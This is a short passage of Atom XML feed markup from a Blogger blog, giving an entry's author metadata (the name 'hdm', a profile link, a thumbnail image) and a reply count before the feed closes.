Blog!'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>24</thr:total></entry></feed>
